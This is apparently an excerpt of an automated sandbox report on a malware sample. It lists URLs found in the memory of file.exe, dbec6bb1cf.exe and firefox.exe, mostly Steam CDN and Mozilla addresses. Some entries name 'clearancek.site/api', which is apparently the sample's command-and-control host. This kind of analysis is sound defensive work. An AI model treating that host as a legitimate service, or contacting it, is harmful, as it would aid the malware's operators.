Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clearancek.site/api
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clearancek.site:443/apiD
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001068000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clearancek.site:443/apip
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&amp;l=english&am
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&amp;l=e
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&amp;l=engli
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&amp;
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&amp;l=en
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&amp;l=englis
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&amp;l=
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&amp;l=engli
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&amp;l=engli
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&amp;
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&amp;
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeN
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&amp;l=engl
Source: file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&amp;l=
Source: file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&amp;
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2824139889.0000014D55015000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2214334735.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.2864874573.0000014D5D703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
